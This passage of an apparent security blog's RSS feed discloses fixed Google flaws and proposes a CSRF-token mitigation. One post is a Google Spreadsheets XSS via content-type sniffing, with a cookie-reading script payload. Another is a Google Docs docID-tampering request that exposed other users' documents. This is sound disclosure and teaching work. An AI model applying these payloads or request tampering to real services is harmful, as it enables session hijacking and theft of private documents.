By taking advantage of the content-type returned by spreadsheets.google.com (and a caching flaw on the part of Google), I was able to pull off a full blown XSS against the google.com domain. For those of you who don’t understand what this means, allow me to elaborate. When Google sets their cookie, it is valid for all of their sub domains. So, when you log into gmail (mail.google.com), your gmail cookie is actually valid for code.google.com, docs.google.com, spreadsheets.google.com…and so on. If someone (like me) finds an XSS vulnerability in any one of these sub domains, I’ll be able to hijack your session and access any google service as if I were you.<br />
<br /></br><br />
So, in this instance, I have an XSS on spreadsheets.google.com. With this single XSS, I can read your Gmail, backdoor your source code (code.google.com), steal all your Google Docs, and basically do whatever I want on Google as if I were you! Google’s use of “document.domain=” also make things a little easier to jump from one domain to the next, but that’s another story…<br />
<br /></br><br />
This particular XSS takes advantage of how Internet Explorer determines the content type of the HTTP response being returned by the server. Most would think that explicitly setting the content-type to something that isn’t supposed to be rendered by the browser would easily solve this issue, but it does not. IE isn’t the only browser that will ignore the content-type header in certain circumstances, Firefox, Opera, and Safari will ignore the content-type header as well (in certain circumstances). Security professionals and more importantly developers need to understand the nuances of how the popular web browsers handle various content-type headers, otherwise they may put their web application at risk of XSS. The most comprehensive paper I’ve seen on the subject was written by Blake Frantz of Leviathan. <a target="_blank" href="http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf" title="Blake Frantz">The paper can be found here</a>. It’s a “MUST HAVE” reference for web app security pros. Read it, understand it, protect yourself appropriately or expect others to exploit appropriately…<br />
<br /></br><br />
In this issue, Google set the content-type header for a response which I controlled the content to text/plain. If I can inject what looks like HTML into the first few bytes of the response, I’ll be able to “trick” Internet Explorer into rendering the content as HTML. Luckily for me, I was able to do just that.<br />
<br /></br><br />
I created a spreadsheet on spreadsheets.google.com and for the first cell (A1) I put the following content: “&lt;HTML&gt;&lt;body&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;/body&gt;&lt;/HTML&gt;”<br />
<br /></br><br />
<img height="188" width="472" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/spreadsheet1.JPG" /><br />
<br /></br><br />
I then saved the spreadsheet and generated a link for the spreadsheet to be served as a CSV.<br />
<br /></br><br />
<img height="360" width="480" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/spreadsheet2.JPG" alt="CSV" /><br />
<br /></br><br />
When this option is selected, the contents of the spreadsheet are displayed inline (the content-disposition header was not explicitly set to “attachment”), IE ignores the content-type header, sniffs the content-type from the response, then proceeds to render the response as if it were HTML. At this point, I control the entire HTML being rendered under an xxx.google.com domain.<br />
<br /></br><br />
<img height="329" width="446" src="http://xs-sniper.com/blog/wp-content/uploads/2008/04/spreadsheet5.JPG" alt="XSS" /><br />
<br /></br><br />
To be fair, Google included a subtle defense to protect against content-type sniffing (padding the response), but those protection measures failed (with a little prodding by me). The issue is fixed, but if you try to reproduce this issue, you’ll see their defense in play. It a solid defense which shows they understand the nuances of content-type sniffing.<br />
<br /></br><br />
I’ll provide some tips on taking ownership of untrusted content and serving it from your server in a later post, but for now take a look at the paper written by Blake Frantz. I’m sure it will open some eyes…</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/04/14/google-xss/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		</item>
		<item>
		<title>Preventing XSS Exploitation with CSRF Tokens?!?!</title>
		<link>http://xs-sniper.com/blog/2008/03/19/preventing-xss-exploitation-with-csrf-tokens/</link>
		<comments>http://xs-sniper.com/blog/2008/03/19/preventing-xss-exploitation-with-csrf-tokens/#comments</comments>
		<pubDate>Wed, 19 Mar 2008 13:05:09 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[tokens]]></category>
		<category><![CDATA[WAF]]></category>
		<category><![CDATA[Web application firewalls]]></category>
		<category><![CDATA[WTF is he thinking?!?!]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/03/19/preventing-xss-exploitation-with-csrf-tokens/</guid>
		<description><![CDATA[A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens.  Now, before people start going &#8220;high and right&#8221; on me&#8230;hear me out&#8230;  I DID NOT say &#8220;prevent XSS&#8221; with CSRF tokens, I said prevent &#8220;XSS Exploitation&#8221; with CSRF tokens.  This discussion arose after someone presented me [...]]]></description>
			<content:encoded><![CDATA[<p>A colleague and I were tossing around the idea of preventing XSS Exploitation with CSRF tokens.  Now, before people start going &#8220;high and right&#8221; on me&#8230;hear me out&#8230;  I DID NOT say &#8220;prevent XSS&#8221; with CSRF tokens, I said prevent &#8220;XSS Exploitation&#8221; with CSRF tokens.  This discussion arose after someone presented me with the following scenario (this same scenario has been presented to me many, many times&#8230; typically at a bar after a few drinks):<br />
<br/><br/></p>
<p>You come into an organization and take over the application security department because the old security person left/was fired/was arrested/whatever.  You take a look at the 10 million line flagship application and realize that its riddled with XSS holes, yet you don&#8217;t have the resources/time/cojo&#8217;s to fix all the exposures.  What do you do?<br />
<br/><br/><br />
This scenario is usually followed up by a pitch to sell me on some Web Application Firewall product&#8230;..  I&#8217;ll put my thoughts on WAFs aside for a second&#8230; and I&#8217;ll try to get to the underlying issue of the scenario presented above:  You need to do something to stop your customers from getting XSSd, you don&#8217;t have much time, you don&#8217;t have many resources and there is a ton of code to go through.<br />
<br/><br />
Now, what if you required CSRF tokens/canaries for every request?  This doesn&#8217;t &#8220;fix&#8221; the XSS exposures, but it makes it a LOT more difficult to exploit (unless you want to exploit yourself).  The CSRF tokens effectively prevent an attacker from sending the XSS to anyone else.   Considering many token/canary values are implemented at the framework level, in most cases it would require a configuration change for the application.  Now, once every page is protected by the canary, you can systematically examine the &#8220;high priority&#8221; pages or pages where canaries don&#8217;t make sense and remove the canary requirement after that particular page/functionality has gone through a review.  In order to prevent the attacker from sending their own canary value, the CSRF token would have to be tied to the current users session (most good implementations do this anyway).<br />
<br/><br />
Now,  once again, this DOES NOT FIX XSS, it just makes exploitation harder. This isn&#8217;t a new concept, in fact this same type of approach is being used by modern day operating systems.  Take buffer overflows for example, protections like DEP, ASLR, Stackguard, GS flag&#8230; these protections do not prevent developers from writing buffer overflows and they do not &#8220;fix&#8221; buffer overflows&#8230; they do make exploiting buffer overflows a lot more difficult (unless you&#8217;re a <a href="http://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf" title="BH 03" target="_blank">Litchfield brother</a>, <a href="http://www.metasploit.com/" title="Metasploit" target="_blank">HD Moore</a>, or <a href="http://www.determina.com/security.research/presentations/bh-eu07/bh-eu07-sotirov-paper.html" title="Heap Fung Shui" target="_blank">Alexander Sotirov</a>).<br />
<br/><br />
Now, of course there are some cons to this strategy&#8230; First, the XSS exposures are not fixed (the WAFs don&#8217;t fix them either). This doesn&#8217;t protect against persistent XSS.  There will be some performance hits to your web server when you have canaries for each request.  This will NOT help you defend against injection attacks like SQL Injection or Command injection, that will require an audit&#8230; on the flip side&#8230; if you&#8217;re relying solely on a WAF to protect you against SQLi and Command Injection, I&#8217;d be worried&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/03/19/preventing-xss-exploitation-with-csrf-tokens/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>There&#8217;s an OAK TREE in my blog!?!?!</title>
		<link>http://xs-sniper.com/blog/2008/01/08/theres-an-oak-tree-in-my-blog/</link>
		<comments>http://xs-sniper.com/blog/2008/01/08/theres-an-oak-tree-in-my-blog/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 06:38:15 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[all your docs are belong to us]]></category>
		<category><![CDATA[docid]]></category>
		<category><![CDATA[Entropy]]></category>
		<category><![CDATA[google docs]]></category>
		<category><![CDATA[Google Security Team]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2008/01/08/theres-an-oak-tree-in-my-blog/</guid>
		<description><![CDATA[A while back I came across another interesting issue that allowed me to steal an arbitrary Google Doc (assuming I knew the DocID). This issue has already been fixed by Google, but the details are pretty interesting so I thought I would share! Now, before I get into the gory details, I&#8217;d like to mention [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2007/12/blog-settings.jpg" title="My Blog Settings"></a><a href="http://xs-sniper.com/blog/wp-content/uploads/2007/12/oak-tree-docid.jpg" title="OAKTREE-DocID"></a>A while back I came across another interesting issue that allowed me to steal an arbitrary Google Doc (assuming I knew the DocID). This issue has already been fixed by Google, but the details are pretty interesting so I thought I would share! Now, before I get into the gory details, I&#8217;d like to mention two things about Google:</p>
<ol>
<p>&nbsp;</p>
<li>I know some people have had issues with <a target="_blank" href="http://googleonlinesecurity.blogspot.com/" title="GST"><em>Google&#8217;s Security Team</em> </a>(GST), but I&#8217;ve always had pleasant experiences with them. GST moves with LIGHTING speed and they are usually great about keeping in me apprised of the status of various issues I&#8217;ve reported to them.</li>
<p>&nbsp;</p>
<li>In addition to fixing this particular exposure, GST has also increased the <a target="_blank" href="http://en.wikipedia.org/wiki/Entropy" title="Entropy by Wikipedia"><em>entropy</em></a> of the DocID making sploits based on DocID guessing totally impractical. It&#8217;s a great example of going the extra step to help protect users&#8230;</li>
</ol>
<p>&nbsp;</p>
<p>Now&#8230; the gory details&#8230; First, I went to <a target="_blank" href="http://wordpress.com/" title="Wordpress"><em>Wordpress.com</em> </a>and created a new blog (there were other ways to pull this off, but this was the easiest way). Once the blog was created, I logged into Google Docs with my account, created a document and selected the &#8220;publish this document&#8221; option. Once in the &#8220;publish&#8221; menu, I selected the &#8220;Blog Site Settings&#8221; option. This option basically allows a Google Docs user to create a document in Google Docs and POST it directly to thier blog! I entered my blog provider, blog username, and blog password into the blog settings page. The page is shown below:
<p>&nbsp;</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2007/12/blog-settings.jpg" title="My Blog Settings"><img src="http://xs-sniper.com/blog/wp-content/uploads/2007/12/blog-settings.jpg" alt="My Blog Settings" /></a>
<p>&nbsp;</p>
<p>Once my blog settings were properly entered, I selected the &#8220;Publish This Document To Your Blog&#8221; option. The POST request made by my browser looked something like this:
<p>&nbsp;</p>
<blockquote><p>POST /MiscCommands HTTP/1.1<br />
&lt;HTTP HEADERS&gt;</p>
<p>command=cmdvalue&amp;localDate=datevalue&amp;docID=<font color="#ff0000">doc-id-here</font>&amp;finis=finisvalue&amp;POST_TOKEN=posttokenvalue</p></blockquote>
<p>&nbsp;</p>
<p>When this feature is selected, it appears that the Google Docs server makes a request to the xmlrpc.php file on the blog server (Wordpress.com), passing the credentials I gave in the blog settings. When the blog server indicates that the blog creds were valid, the Google Docs server sends the contents of the Google Doc to the blog server. hmmmm&#8230; that docID value looks reeeallly interesting&#8230; I changed the docID in the POST request from the docID of my newly created document to the docID of the &#8220;Article For Oak Tree View&#8221; (<a target="_blank" href="http://www.youtube.com/watch?v=eRqUE6IHTEA" title="Google Docs"><em>the document used by Google to Demo Google Docs</em></a>).
<p>&nbsp;</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2007/12/oak-tree-docid.jpg" title="OAKTREE-DocID"><img src="http://xs-sniper.com/blog/wp-content/uploads/2007/12/oak-tree-docid.jpg" alt="OAKTREE-DocID" /></a>
<p>&nbsp;</p>
<p>After changing the docID and sending the POST request, I logged into my Wordpress Blog and LO AND BEHOLD&#8230; my first blog POST was the Oak Tree Newsletter!
<p>&nbsp;</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2007/12/oak-tree-in-my-blog.jpg" title="Oak Tree in My Blog"><img src="http://xs-sniper.com/blog/wp-content/uploads/2007/12/oak-tree-in-my-blog.jpg" alt="Oak Tree in My Blog" /></a>
<p>&nbsp;</p>
<p>I tried it on some friends documents with the same result and then contacted the GST&#8230;.
<p>&nbsp;</p>
<p>Links to other Google Docs Stuff <em><a target="_blank" href="http://xs-sniper.com/blog/2007/09/20/bk-for-mayor-of-oak-tree-view/" title="BK for Mayor">here</a></em>, <a target="_blank" href="http://xs-sniper.com/blog/2007/09/26/google-docs-puts-google-users-at-risk/" title="Cross Domain"><em>here</em></a>, and <a target="_blank" href="http://xs-sniper.com/blog/2007/09/28/all-your-google-docs-are-belong-to-us/" title="All your docs are belong to us"><em>here </em></a></p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/01/08/theres-an-oak-tree-in-my-blog/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Happy Holidays!</title>
		<link>http://xs-sniper.com/blog/2007/12/24/happy-holidays/</link>
		<comments>http://xs-sniper.com/blog/2007/12/24/happy-holidays/#comments</comments>
		<pubDate>Mon, 24 Dec 2007 22:40:59 +0000</pubDate>
		<dc:creator>Nate McFeters</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/2007/12/24/happy-holidays/</guid>
		<description><![CDATA[Merry Christmas and a Happy New Year to all!  
&#160;&#160;
It&#8217;s been awhile since Billy or I have posted, as we&#8217;ve been busy enjoying the holidays, but rest assured, we&#8217;re still working hard.  2007 has been a great year for Billy and I, hopefully we can continue the pace in 2008.  I know [...]]]></description>
			<content:encoded><![CDATA[<p>Merry Christmas and a Happy New Year to all!  </p>
<p>&nbsp;&nbsp;<br />
It&#8217;s been awhile since Billy or I have posted, as we&#8217;ve been busy enjoying the holidays, but rest assured, we&#8217;re still working hard.  2007 has been a great year for Billy and I, hopefully we can continue the pace in 2008.  I know Billy has several posts to catch up on, and I personally can&#8217;t wait to see all the details!  In the meantime, I thought I&#8217;d update everyone on the research I&#8217;ve been doing with URI Handlers on the Mac operating system.  </p>
<p>&nbsp;&nbsp;<br />
As some of you know, I recently purchased a brand new Mac Book for Christmas.  I did some research into how the Mac handles its URI handlers and discovered that URI flaws are not new on the Mac!  To my surprise, URI issues have been one of the major plagues of the Mac operating system for some time.  The <strong><em><a href="http://projects.info-pull.com/moab/" title="Month of Apple Bugs">Month of Apple Bugs</a></em></strong>, from back in January 2007, clearly illustrates several major flaws on the Mac with regards to URI Handling issues.  Additionally, <strong><em><a href="http://daringfireball.net/2004/05/unsafe_uri_handlers" title="Daring Fireball">Daring Fireball&#8217;s site</a></em></strong>, discusses the issue as far back as 2004.  </p>
<p>&nbsp;&nbsp;<br />
Well, this peaked my curiosity, so I had to take a deeper look.  I found an application called <strong><em><a href="http://www.rubicode.com/Software/RCDefaultApp/" title="RCDefaultApp">RCDefaultApp</a></em></strong>, which was developed by Carl E. Lindberg, which gives a graphical representation of URL Handlers (amongst other things) on a Mac.  Carl was nice enough to write up some command-line code for me to dump out the URL Handlers.  I had expected to modify it up to do exactly what I wanted, but at this time, I&#8217;ve just been to busy.  In the meantime, the current code can be found <strong><em><a href="http://xs-sniper.com/blog/wp-content/uploads/2007/12/duh4mac.c" title="DUH4Mac">here</a></em></strong>.  </p>
<p>&nbsp;&nbsp;<br />
This code actually led to the discovery of a new URL Handling bug on the Mac OS X in the most current and patched Leopard version.  At this time, I&#8217;ve notified Apple, and they expect to have a bug fix out in January, so I will release details at that time.  Apple has been great in responding to this issue, and I thank them for working with me on it.  </p>
<p>&nbsp;&nbsp;<br />
Thanks and Merry Christmas!  </p>
<p>&nbsp;&nbsp;<br />
-Nate</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2007/12/24/happy-holidays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.466 seconds -->
